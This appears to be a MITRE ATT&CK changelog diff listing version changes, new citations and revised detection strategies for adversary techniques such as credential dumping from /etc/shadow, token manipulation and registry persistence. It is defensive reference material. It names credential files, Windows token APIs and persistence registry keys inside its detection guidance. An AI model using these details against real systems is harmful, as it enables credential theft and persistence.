description	Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).	Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025) Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
x_mitre_version	1.1	1.2

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Sentinel Labs Top Tier Target 2025', 'description': ' Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target \| What It Takes to Defend a Cybersecurity Company from Today’s Adversaries. Retrieved May 22, 2025.', 'url': 'https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/'}
external_references		{'source_name': 'Forescout Conti Leaks 2022', 'description': 'Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.', 'url': 'https://www.forescout.com/resources/analysis-of-conti-leaks/'}
x_mitre_contributors		Menachem Goldstein

[T1059.004] Command and Scripting Interpreter: Unix Shell

Current version: 1.4

Version changed from: 1.3 → 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0384: Behavioral Detection of Unix Shell Execution

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:56.647000+00:00	2025-10-24 17:49:12.476000+00:00
x_mitre_detection	Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
x_mitre_version	1.3	1.4

[T1608.001] Stage Capabilities: Upload Malware

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Adversaries may upload malware to third-party or adversary c	t	1	Adversaries may upload malware to third-party or adversary c
	>	ontrolled infrastructure to make it accessible during target		>	ontrolled infrastructure to make it accessible during target
	>	ing. Malicious software can include payloads, droppers, post		>	ing. Malicious software can include payloads, droppers, post
	>	-compromise tools, backdoors, and a variety of other malicio		>	-compromise tools, backdoors, and a variety of other malicio
	>	us content. Adversaries may upload malware to support their		>	us content. Adversaries may upload malware to support their
	>	operations, such as making a payload available to a victim n		>	operations, such as making a payload available to a victim n
	>	etwork to enable [Ingress Tool Transfer](https://attack.mitr		>	etwork to enable [Ingress Tool Transfer](https://attack.mitr
	>	e.org/techniques/T1105) by placing it on an Internet accessi		>	e.org/techniques/T1105) by placing it on an Internet accessi
	>	ble web server. Malware may be placed on infrastructure tha		>	ble web server. Malware may be placed on infrastructure tha
	>	t was previously purchased/rented by the adversary ([Acquire		>	t was previously purchased/rented by the adversary ([Acquire
	>	Infrastructure](https://attack.mitre.org/techniques/T1583))		>	Infrastructure](https://attack.mitre.org/techniques/T1583))
	>	or was otherwise compromised by them ([Compromise Infrastru		>	or was otherwise compromised by them ([Compromise Infrastru
	>	cture](https://attack.mitre.org/techniques/T1584)). Malware		>	cture](https://attack.mitre.org/techniques/T1584)). Malware
	>	can also be staged on web services, such as GitHub or Pasteb		>	can also be staged on web services, such as GitHub or Pasteb
	>	in, or hosted on the InterPlanetary File System (IPFS), wher		>	in; hosted on the InterPlanetary File System (IPFS), where d
	>	e decentralized content storage makes the removal of malicio		>	ecentralized content storage makes the removal of malicious
	>	us files difficult.(Citation: Volexity Ocean Lotus November		>	files difficult; or saved on the blockchain as smart contrac
	>	2020)(Citation: Talos IPFS 2022) Adversaries may upload bac		>	ts, which are resilient against takedowns that would affect
	>	kdoored files, such as application binaries, virtual machine		>	traditional infrastructure.(Citation: Volexity Ocean Lotus N
	>	images, or container images, to third-party software stores		>	ovember 2020)(Citation: Talos IPFS 2022)(Citation: Guardio E
	>	or repositories (ex: GitHub, CNET, AWS Community AMIs, Dock		>	therhiding 2023)(Citation: Bleeping Computer Binance Smart C
	>	er Hub). By chance encounter, victims may directly download/		>	hain 2023) Adversaries may upload backdoored files, such as
	>	install these backdoored files via [User Execution](https://		>	software packages, application binaries, virtual machine im
	>	attack.mitre.org/techniques/T1204). [Masquerading](https://a		>	ages, or container images, to third-party software stores, p
	>	ttack.mitre.org/techniques/T1036) may increase the chance of		>	ackage libraries, extension marketplaces, or repositories (e
	>	users mistakenly executing these files.		>	x: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).
				>	(Citation: Datadog Security Labs Malicious PyPi Packages 202
				>	4) By chance encounter, victims may directly download/instal
				>	l these backdoored files via [User Execution](https://attack
				>	.mitre.org/techniques/T1204). Masquerading, including typo-s
				>	quatting legitimate software, may increase the chance of use
				>	rs mistakenly executing these files.

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0824: Detection of Upload Malware

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:17:57.194000+00:00	2025-10-24 17:48:41.583000+00:00
description	Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022) Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.	Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)(Citation: Guardio Etherhiding 2023)(Citation: Bleeping Computer Binance Smart Chain 2023) Adversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).(Citation: Datadog Security Labs Malicious PyPi Packages 2024) By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).
x_mitre_version	1.2	1.3

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Datadog Security Labs Malicious PyPi Packages 2024', 'description': ' Sebastian Obregoso and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.', 'url': 'https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/'}
external_references		{'source_name': 'Bleeping Computer Binance Smart Chain 2023', 'description': 'Bill Toulas. (2023, October 13). Hackers use Binance Smart Chain contracts to store malicious scripts. Retrieved May 22, 2025.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-use-binance-smart-chain-contracts-to-store-malicious-scripts/'}
external_references		{'source_name': 'Guardio Etherhiding 2023', 'description': 'Nati Tal and Oleg Zaytsev. (2023, October 13). “EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts. Retrieved May 22, 2025.', 'url': 'https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16'}
x_mitre_contributors		Adam Hunt
x_mitre_contributors		Ray Jasinski

[T1071.001] Application Layer Protocol: Web Protocols

Current version: 1.5

Version changed from: 1.4 → 1.5

New Mitigations:

M1037: Filter Network Traffic

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0027: Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:14.227000+00:00	2025-10-24 17:49:29.591000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) Monitor for web traffic to/from known-bad or suspicious domains.
x_mitre_version	1.4	1.5

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Don Le, Stifel Financial

[T1016.002] System Network Configuration Discovery: Wi-Fi Discovery

Current version: 1.1

Version changed from: 1.0 → 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0464: Behavioral Detection of Wi-Fi Discovery Activity

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:21:00.705000+00:00	2025-10-24 17:48:44.123000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
x_mitre_version	1.0	1.1

Patches

[T1003.008] OS Credential Dumping: /etc/passwd and /etc/shadow

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0446: Credential Access via /etc/passwd and /etc/shadow Parsing

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:09.955000+00:00	2025-10-24 17:49:25.253000+00:00
x_mitre_detection	The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access `/etc/passwd` and `/etc/shadow`, alerting on the pid, process name, and arguments of such programs.

[T1557.002] Adversary-in-the-Middle: ARP Cache Poisoning

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0387: Detect ARP Cache Poisoning Across Linux, Windows, and macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:43:10.406000+00:00	2025-10-24 17:49:23.221000+00:00
x_mitre_detection	Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.

[T1558.004] Steal or Forge Kerberos Tickets: AS-REP Roasting

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0026: Active Directory (Active Directory Credential Request)

New Detections (Detection Strategies -> Technique):

DET0113: Detect AS-REP Roasting Attempts (T1558.004)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Credential Request']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:23.309000+00:00	2025-10-24 17:48:39.884000+00:00
x_mitre_detection	Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)

[T1548] Abuse Elevation Control Mechanism

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0345: Detection Strategy for Abuse Elevation Control Mechanism (T1548)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'User Account: User Account Modification', 'Command: Command Execution', 'Process: OS API Execution', 'File: File Modification', 'Process: Process Metadata', 'File: File Metadata', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:37.690000+00:00	2025-10-24 17:48:53.277000+00:00
x_mitre_detection	Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). Consider monitoring for `/usr/libexec/security_authtrampoline` executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the `LOG_INPUT` and `LOG_OUTPUT` directives in the `/etc/sudoers` file. There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.

[T1134] Access Token Manipulation

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Metadata)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0283: Behavior-chain detection for T1134 Access Token Manipulation on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution', 'User Account: User Account Metadata', 'Process: Process Metadata', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:21.869000+00:00	2025-10-24 17:49:29.051000+00:00
x_mitre_detection	If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the `runas` command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., `LogonUser` (Citation: Microsoft LogonUser), `DuplicateTokenEx`(Citation: Microsoft DuplicateTokenEx), and `ImpersonateLoggedOnUser`(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information. Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation) Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.

[T1546.008] Event Triggered Execution: Accessibility Features

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0033: Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:41.211000+00:00	2025-10-24 17:48:56.964000+00:00
x_mitre_detection	Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`.

[T1087] Account Discovery

Current version: 2.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0587: Enumeration of User or Account Information Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:41.600000+00:00	2025-10-24 17:48:57.239000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor for processes that can be used to enumerate user accounts, such as `net.exe` and `net1.exe`, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)

[T1098] Account Manipulation

Current version: 2.8

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Modification)
DS0026: Active Directory (Active Directory Object Modification)
DS0036: Group (Group Modification)

New Detections (Detection Strategies -> Technique):

DET0096: Account Manipulation Behavior Chain Detection

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification', 'File: File Modification', 'Group: Group Modification', 'User Account: User Account Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:54.718000+00:00	2025-10-24 17:49:10.273000+00:00
x_mitre_detection	Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)

[T1650] Acquire Access

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0884: Detection of Acquire Access

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:43:51.840000+00:00	2025-10-24 17:49:25.997000+00:00
x_mitre_detection	Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1595] Active Scanning

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0830: Detection of Active Scanning

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:44:26.959000+00:00	2025-10-24 17:48:53.018000+00:00
x_mitre_detection	Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1547.014] Boot or Logon Autostart Execution: Active Setup

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0312: Detect Active Setup Persistence via StubPath Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:13.464000+00:00	2025-10-24 17:48:31.226000+00:00
x_mitre_detection	Monitor Registry key additions and/or modifications to `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\`. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

[T1137.006] Office Application Startup: Add-ins

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0050: Detect Persistence via Malicious Office Add-ins

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:45:27.400000+00:00	2025-10-24 17:48:37.911000+00:00
x_mitre_detection	Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior

[T1098.001] Account Manipulation: Additional Cloud Credentials

Current version: 2.8

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)
DS0026: Active Directory (Active Directory Object Creation)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0531: Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Modification', 'Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:45:50.674000+00:00	2025-10-24 17:49:04.839000+00:00
x_mitre_detection	Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.

[T1098.003] Account Manipulation: Additional Cloud Roles

Current version: 2.5

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)

New Detections (Detection Strategies -> Technique):

DET0277: Detection Strategy for Role Addition to Cloud Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:46:09.054000+00:00	2025-10-24 17:48:35.082000+00:00
x_mitre_detection	Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.

[T1098.002] Account Manipulation: Additional Email Delegate Permissions

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)
DS0015: Application Log (Application Log Content)
DS0036: Group (Group Modification)

New Detections (Detection Strategies -> Technique):

DET0373: Detection Strategy for Addition of Email Delegate Permissions

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Group: Group Modification', 'Application Log: Application Log Content', 'User Account: User Account Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:47:23.761000+00:00	2025-10-24 17:49:32.801000+00:00
x_mitre_detection	Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. A larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.

[T1557] Adversary-in-the-Middle

Current version: 2.5

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0019: Service (Service Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0296: Detect Adversary-in-the-Middle via Network and Configuration Anomalies

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:02.209000+00:00	2025-10-24 17:48:20.163000+00:00
x_mitre_detection	Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.

[T1546.009] Event Triggered Execution: AppCert DLLs

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

